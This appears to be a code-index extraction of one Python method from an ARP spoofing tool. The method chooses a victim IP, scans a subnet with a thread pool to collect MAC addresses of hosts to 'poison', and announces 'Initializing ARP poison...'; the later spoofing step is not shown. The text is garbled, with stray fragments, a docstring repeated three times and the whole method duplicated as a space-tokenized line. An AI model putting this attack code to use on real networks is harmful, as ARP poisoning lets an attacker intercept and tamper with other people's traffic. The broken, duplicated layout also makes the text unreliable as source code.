(self)
return self.initialize_post_spoof()
Initialize the ARP spoofer
Initialize the ARP spoofer
Initialize the ARP spoofer
def initialize(self):
        """Initialize the ARP spoofer
        """
        self.victim = (self.config['to_ip'].value, getmacbyip(self.config['to_ip'].value))

        if self.config['from_ip'].value is None:
            # Enumerate all IPs in network
            Msg("Gathering information on network...this may take a minute")
            thread_pool = ThreadPool(processes=25)
            ip_whitelist = {self.victim[0], self.local[0]}
            for ip, mac in thread_pool.imap_unordered(arp.get_mac_address_for_ip,
                                                      (ip for ip in self.enumerate_all_ips_in_network(
                                                              self.config['to_ip'].value, self.get_iface_netmask()))):
                if ip in ip_whitelist:
                    continue

                if mac is None or mac == "ff:ff:ff:ff:ff:ff":
                    # no mac for you, next!
                    continue

                self.targets[ip] = mac
                # todo Consider adding an upper limit on hosts being poisoned
        elif "/" in self.config['from_ip'].value:
            source_ip, netmask = self.cidr_to_ip_and_netmask(self.config['from_ip'].value)
            # Enumerate all IPs in network
            Msg("Gathering information on network...this may take a minute")
            thread_pool = ThreadPool(processes=25)
            ip_whitelist = {self.victim[0], self.local[0]}
            for ip, mac in thread_pool.imap_unordered(arp.get_mac_address_for_ip, (ip for ip in
                                                                                   self.enumerate_all_ips_in_network(
                                                                                           source_ip, netmask))):
                if ip in ip_whitelist:
                    continue

                if mac is None or mac == "ff:ff:ff:ff:ff:ff":
                    # no mac for you, next!
                    continue

                self.targets[ip] = mac
                # todo Consider adding an upper limit on hosts being poisoned
        else:
            self.targets[self.config['from_ip'].value] = getmacbyip(self.config['from_ip'].value)
        Msg("Initializing ARP poison...")
        return self.initialize_post_spoof()
def initialize ( self ) : self . victim = ( self . config [ 'to_ip' ] . value , getmacbyip ( self . config [ 'to_ip' ] . value ) ) if self . config [ 'from_ip' ] . value is None : # Enumerate all IPs in network Msg ( "Gathering information on network...this may take a minute" ) thread_pool = ThreadPool ( processes = 25 ) ip_whitelist = { self . victim [ 0 ] , self . local [ 0 ] } for ip , mac in thread_pool . imap_unordered ( arp . get_mac_address_for_ip , ( ip for ip in self . enumerate_all_ips_in_network ( self . config [ 'to_ip' ] . value , self . get_iface_netmask ( ) ) ) ) : if ip in ip_whitelist : continue if mac is None or mac == "ff:ff:ff:ff:ff:ff" : # no mac for you, next! continue self . targets [ ip ] = mac # todo Consider adding an upper limit on hosts being poisoned elif "/" in self . config [ 'from_ip' ] . value : source_ip , netmask = self . cidr_to_ip_and_netmask ( self . config [ 'from_ip' ] . value ) # Enumerate all IPs in network Msg ( "Gathering information on network...this may take a minute" ) thread_pool = ThreadPool ( processes = 25 ) ip_whitelist = { self . victim [ 0 ] , self . local [ 0 ] } for ip , mac in thread_pool . imap_unordered ( arp . get_mac_address_for_ip , ( ip for ip in self . enumerate_all_ips_in_network ( source_ip , netmask ) ) ) : if ip in ip_whitelist : continue if mac is None or mac == "ff:ff:ff:ff:ff:ff" : # no mac for you, next! continue self . targets [ ip ] = mac # todo Consider adding an upper limit on hosts being poisoned else : self . targets [ self . config [ 'from_ip' ] . value ] = getmacbyip ( self . config [ 'from_ip' ] . value ) Msg ( "Initializing ARP poison..." ) return self . initialize_post_spoof ( )